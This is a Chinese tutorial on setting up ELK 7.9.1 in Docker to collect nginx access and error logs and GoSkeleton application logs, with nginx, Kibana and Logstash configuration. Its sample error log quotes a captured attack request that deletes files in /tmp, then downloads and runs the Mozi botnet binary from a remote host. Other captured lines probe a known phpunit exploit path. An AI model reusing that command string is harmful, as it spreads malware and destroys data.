前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >日志对接到 ELK(Docker)

日志对接到 ELK(Docker)

作者头像
刘銮奕
发布2020-12-14 11:03:31
1.6K0
发布2020-12-14 11:03:31
举报
文章被收录于专栏:奕知伴解

1.项目日志的顶级解决方案(ELK)

1.ELK 全称为 ElasticsearchLogstashKibana, 该产品近年在提供快速搜索领域异军突起,但是今天我们要介绍的是该套产品的另一杀手锏:日志统一管理、统计、分析. 2.ELK 支持分布式管理日志,您只需要搭建 elk 服务器,所有项目的日志(例如:nginxaccess 日志、error 日志、应用项目运行日志)都可以对接到 elk 服务器,由专门的人员负责数据监控,统计、分析. 3.ELK 日志推送结构图:

2.三个核心角色介绍

elasticsearch: 倒排索引驱动的数据库,通俗地说,就是数据存储时,按照分词器提取关键词,给关键词创建索引,然后将索引和数据一起存储,最终当你查询关键词的时候,首先定位索引,然后根据索引快速获取结果,返回给用户。 logstash: 负责数据的采集、加工处理、输出,我们只需要设置好相关参数,按照指定时间频率,抓取日志文件,支持分布式部署,一台项目服务器需要部署一个客户端,然后将数据推送至elasticsearch存. kibana: 数据可视化管理面板,支持数据本身的展示(文本展示)、图形化展示、统计、分析等.

3.本次我们要对接的日志清单

1.nginx 的 access.log. 2.nginx 的 error.log. 3.本项目骨架日志 storage/logs/goskeleton.log ,该日志是项目运行日志,按照行业标准提供了 info 、 warn 、error 、fatal 等不同级别日志. 提醒:本项目骨架版本>=1.3.00, 则goskeleton.log 格式已经默认设置ok(json格式,记录的时间字段已经调整为 created_at),否则,请您升级版本至最新版,或者自行修改配置文件 config/config.yml 中的日志部分, 修改日志格式为 json,此外还需要调整一个地方: 参见最新版本代码 app/utils/zap_factory/zap_factory.go ,47行,重新定义日志记录的时间字段:encoderConfig.TimeKey = “created_at”

4.进入对接环节

1.后续所有方案基于docker. 2.考虑到有部分人员可能没有安装 elk 黄金套餐,我们简要地介绍一下安装步骤,如果已经安装,那么相关参数请自行配置. 3.特别提醒:本次我们是基于 elk 最新版本(v7.9.1),距离我写本文档的时间(2020-09-21)发布仅仅16天, 和之前的版本细节差异都比较大, 和网上已有的资料差距也很大(很有可能v7.9.1的全套对接、配置我们都是全网首发), 如果您不是很熟悉该套产品,那么请按照本文档 100% 操作,否则有很多”惊喜”.

4.1 nginx 修改日志格式

4.1.1 例如我的nginx配置文件路径:/usr/local/nginx/conf/nginx.conf

代码语言:javascript
复制
#以下代码段需要放置在http段
    http {
        include       mime.types;
        default_type  application/octet-stream;

        #默认的日志格式
        #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
        #                  '$status $body_bytes_sent "$http_referer" '
        #                  '"$http_user_agent" "$http_x_forwarded_for"';
        #access_log  logs/access.log  main;

        # 将日志格式修改为 json 格式,方便对接到 elk ,修改日志格式对 nginx 没有任何影响,只会使日志阅读更加人性化
        log_format json '{"created_at":"$time_iso8601",'
                           '"remote_addr":"$remote_addr",'
                           '"method":"$request_method",'
                           '"request":"$request",'
                           '"status":"$status",'
                           '"size":$body_bytes_sent,'
                           '"referer": "$http_referer",'
                           '"http_host":"$http_host",'
                           '"response_time":$request_time,'
                           '"http_x_forwarded_for":"$http_x_forwarded_for",'
                           '"user_agent": "$http_user_agent"'
               '}';

        #由于我的nginx是docker启动,一个容器一个站点,所以以下配置我直接放置在了http代码段,如果物理机器,建议放置在server段,一个项目一份日志
        access_log /usr/local/nginx/logs/nginx001_access.log json;
        error_log /usr/local/nginx/logs/nginx001_error.log;

    #省略其他nginx配置

    }

#重启 nginx 容器,或者重新加载配置文件,检查access日志格式为json格式,错误日志保持 nginx 默认格式即可

4.1.2 最终的日志格式效果, 总之原则就是access日志必须是json格式,error 格式保持默认即可.

代码语言:javascript
复制
# nginx001_access.log 日志
{"created_at":"2020-09-21T03:57:35+08:00","time_local":"21/Sep/2020:03:57:35 +0800","remote_addr":"45.146.164.186","method":"GET","request":"GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","status":"404","size":555,"referer": "-","http_host":"49.232.145.118:80","response_time":0.274,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
{"created_at":"2020-09-21T04:02:19+08:00","time_local":"21/Sep/2020:04:02:19 +0800","remote_addr":"45.146.164.186","method":"POST","request":"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","status":"404","size":555,"referer": "-","http_host":"49.232.145.118:80","response_time":0.273,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}
{"created_at":"2020-09-21T04:04:22+08:00","time_local":"21/Sep/2020:04:04:22 +0800","remote_addr":"78.188.205.21","method":"GET","request":"GET / HTTP/1.1","status":"200","size":199,"referer": "-","http_host":"49.232.145.118:80","response_time":0.000,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"}
{"created_at":"2020-09-21T04:58:00+08:00","time_local":"21/Sep/2020:04:58:00 +0800","remote_addr":"192.241.221.22","method":"GET","request":"GET / HTTP/1.1","status":"200","size":199,"referer": "-","http_host":"49.232.145.118","response_time":0.000,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 zgrab/0.x"}

# nginx001_error.log 日志
2020/09/21 00:57:00 [error] 6#0: *26 open() "/usr/local/nginx/html/elrekt.php" failed (2: No such file or directory), client: 106.52.153.48, server: localhost, request: "GET /elrekt.php HTTP/1.1", host: "49.232.145.118"
2020/09/21 00:57:00 [error] 6#0: *27 open() "/usr/local/nginx/html/index.php" failed (2: No such file or directory), client: 106.52.153.48, server: localhost, request: "GET /index.php HTTP/1.1", host: "49.232.145.118"
2020/09/21 01:50:50 [error] 6#0: *30 open() "/usr/local/nginx/html/shell" failed (2: No such file or directory), client: 123.96.229.15, server: localhost, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+http://123.96.229.15:35278/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1", host: "49.232.145.118:80"
# 可能还有其他的错误格式
2018/07/09 16:50:34 [error] 78175#0: *21132 FastCGI sent in stderr: "PHP message: PHP Warning:  Unknown: open_basedir restriction in effect. File(/usr/local/jenkins_manage_project/2018/bestbox_first/public/index.php) is not within the allowed path(s): (/home/wwwroot/:/tmp/:/proc/) in Unknown on line 0
PHP message: PHP Warning:  Unknown: failed to open stream: Operation not permitted in Unknown on line 0
Unable to open primary script: /usr/local/jenkins_manage_project/2018/bestbox_first/public/index.php (Operation not permitted)" while reading response header from upstream, client: 192.168.6.85, server: 192.168.8.62, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/tmp/php-cgi.sock:", host: "192.168.8.62"
4.2 elasticsearch 安装
代码语言:javascript
复制
docker pull elasticsearch:7.9.1  
docker run --name  elastic7  -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -d elasticsearch:7.9.1

#修改容器时间为北京时间,fea8df018c15 为刚启动的容器ID, 请自行替换  
docker   cp  /usr/share/zoneinfo/Asia/Shanghai   fea8df018c15:/etc/localtime

#进入容器修改内存, 如果您的服务器内存超过 8g, 请忽略
docker  exec  -it  elasticsearch7  /bin/bash
# 文件位置:/usr/share/elasticsearch/config/jvm.options,默认配置为1g,修改如下:
 -Xms512m
 -Xmx512m

#重启容器
docker restart  elasticsearch7
4.3 kibana 安装
代码语言:javascript
复制
docker pull kibana:7.9.1
docker run --name  kibana7 --link elastic7:elasticsearch -p 5601:5601    -d  kibana:7.9.1 
.
#修改容器时间为北京时间,ffe8df018624 为刚启动的容器ID, 请自行替换  
docker   cp  /usr/share/zoneinfo/Asia/Shanghai   ffe8df018624:/etc/localtime

#进入容器修改内存, kibana设置
docker  exec  -it  kibana7  /bin/bash

vi  /usr/share/kibana/config/kibana.yml
#修改参数如下,没有的选项复制添加即可
i18n.locale: "zh-CN"
xpack.spaces.enabled: false
# Default Kibana configuration for docker target
server.name: kibana
server.host: "0"
elasticsearch.hosts: [ "http://elasticsearch:9200" ]
monitoring.ui.container.elasticsearch.enabled: true

#重启容器
docker restart  kibana7
4.4 logstash 安装

4.4.1 由于logstash 需要修改、配置的地方特别多,而且本次的难度基本都集中的这块儿,因此,配置文件等需要频繁修改的变动的我们映射出来.

代码语言:javascript
复制
docker pull logstash:7.9.1
# goskeleton 请确保版本 >= v1.3.00 版本,默认配置项开启了日志 json 格式,如果老日志不是json,请自行重命名备份原始文件,新日志确保 100% json格式。
# 以下涉及到的参数需要您根据您的实际情况修改
# 启动 logstash 容器,注意这里有两个映射目录,第一个是配置文件目录,第二个是 nginx 日志目录(包括 access、error 日志),第三个是 goskeleton.log 映射    
docker    container    run  --name    logstash7  -d    -v  /home/mysoft/logstash/conf/:/usr/share/logstash/pipeline/    -v   /home/wwwlogs/project_log/:/usr/share/data/project_log/nginx/   -v /home/wwwroot/project2020/goskeleton/storage/logs/:/usr/share/data/project_log/goskeleton/  logstash:7.9.1

#修改容器时间为北京时间,ffe8df018624 为刚启动的容器ID, 请自行替换  
docker   cp  /usr/share/zoneinfo/Asia/Shanghai   ffe8df018624:/etc/localtime

#进入容器修改一些内存参数, 如果您的服务器内存超过 8g, 请忽略
docker  exec  -it  logstash7  /bin/bash
#文件位置:/usr/share/logstash/config/jvm.options,默认配置为1g,修改如下:
 -Xms512m
 -Xmx512m

#修改x-pack设置项,该插件负责客户端登录服务器的认证
#文件位置:/usr/share/logstash/config/logstash.yml ,修改如下
http.host: "0.0.0.0"
xpack.monitoring.enabled: true   #启动x-pack插件,172.21.0.13 为 elk 服务器的ip,请自行替换   
xpack.monitoring.elasticsearch.hosts: [ "http://172.21.0.13:9200" ] 

#退出容器,重启logstash
docker restart  logstash

4.4.2 接下来我们继续修改数据采集配置项,主要是实现采集 nginx 的 access、error 日志, goskeleton 项目的运行日志到 elk 服务器 . logstash配置文件我们已经映射出来了,相关位置:/home/mysoft/logstash/conf/logstash.conf 以下配置必须完全按照我们提供的文档操作,否则很容易报错,全程必须是小写,不小心使用大写都有可能都会报错.

代码语言:javascript
复制
#数据采集规则
input {
    # nginx 日志采集配置
   file {
        type => "nginx001"  #可以自行定义,方便后面判断,但是不要使用大写,否则报错
        path => "/usr/share/data/project_log/nginx/nginx001_access.log"
        start_position => "beginning"  # 从日志其实位置采集
        stat_interval => "3"    # 采集频率为 3 秒
        #  下一行不要提前将原始数据转换为 json ,否则后面坑死你,不要相信 elk 之前版本的文档资料 
        # codec => json
   }

    # goskeleton 日志采集配置
    file {
    type => "goskeleton" 
    path => "/usr/share/data/project_log/goskeleton/goskeleton.log"
    start_position => "beginning"
    stat_interval => "3"
    # codec => json
   }

   # nginx 错误日志采集配置
   file {
        type => "nginxerr"  
        path => "/usr/share/data/project_log/nginx/nginx001_error.log"
        start_position => "beginning"
        stat_interval => "3"
        # plain 表示采集的数据是 文本格式,非 json 
        codec => plain
   }


}

#数据过滤规则
filter {
       # 非 nginx 的 error log,都是 json 格式,那么在这里进行 json 格式化 
      if [type]  != "nginxerr"  {
            json{
                #每一条数据就是一个消息事件(message)
                source => "message"
            }
      }

    # 根据设置的类型动态设置 索引模式(index pattern )
    if [type] == "nginx001" {

       # 注意:索引模式 以 logstash- 开头,表示使用系统默认json解析模板,否则又要自己定义解析模板,此外,注意全程小写.  
       mutate { add_field => { "[@metadata][target_index]" => "logstash-nginx001-%{+YYYY.MM.dd}" } }

    }else if [type] == "goskeleton" {

           mutate { add_field => { "[@metadata][target_index]" => "logstash-goskeleton-%{+YYYY.MM.dd}" } }

    }else if [type]=="nginxerr"{

       mutate { add_field => { "[@metadata][target_index]" => "logstash-nginxerr-%{+YYYY.MM.dd}" } }

    }else {

     mutate { add_field => { "[@metadata][target_index]" => "logstash-unknowindex-%{+YYYY.MM.dd}" } }
    }

      # 匹配 nginx 错误日志,将原始文本进行 json 化
   if [type]=="nginxerr" {      
      grok {
           match => [ "message" , "(?<created_at>%{YEAR}[./-]%{MONTHNUM2}[./-]%{MONTHDAY} %{TIME:time2}) \[%{WORD:errLevel}]  (?<errMsg>([\w\W])*), client\: %{IP:clientIp}(, server\: %{IPORHOST:server})?(, request\: \"%{DATA:request}\")?(, upstream\: \"%{DATA:upstream}\")?(, host\: \"%{DATA:host}\")?"  ]
        }   
   }

      #删除一些多余字段
    mutate {
         remove_field => [ "message","@version"]
    }

}

output {
   #将最终处理的结果输出到调试面板(控制台),您可以开启,先观察处理结果是否是您期待的,确保正确之后,注释掉即可
   #stdout { codec => rubydebug }

    # 官方说,这里每出现一个 elasticsearch 都是一个数据库客户端连接,建议用一个连接一次性输出多个日志内容到 elk ,像如下这样
    # 这样配置可以最大减少 elk 服务器的连接数,减小压力,因为 elk 今后将管理所有项目的日志,数据处理压力会非常大  
       elasticsearch  {
        # 172.21.0.13 请自行替换为您的 elk 服务器地址
         hosts => ["http://172.21.0.13:9200"]
         index => "%{[@metadata][target_index]}"
     }
}

#配置完毕,重启容器 
docker  restart  logstash

#可以观察近3分钟的日志,确保配置正确,启动正常 
docker  logs  --since  3m logstash7

4.4.3 现在我们可以访问kibana地址:http://172.21.0.13:5601 , 如果是云服务器就使用外网地址访问即可. 以下操作基本都是可视化界面,通过鼠标点击等操作完成,我就以截图展示一个完整的主线操作流程, 其他知识请自行查询官网或者加我们的项目群咨询讨论.

特别说明:以下数据是基于测试环境, 有一些数据是直接把老项目的日志文件覆盖到指定位置,所以界面的查询日期跨度比较大. nginx access 的日志

goskeleton 的日志

nginx error 的日志

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 奕知伴解 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.项目日志的顶级解决方案(ELK)
  • 2.三个核心角色介绍
  • 3.本次我们要对接的日志清单
  • 4.进入对接环节
    • 4.1 nginx 修改日志格式
      • 4.2 elasticsearch 安装
        • 4.3 kibana 安装
          • 4.4 logstash 安装
          相关产品与服务
          Elasticsearch Service
          腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档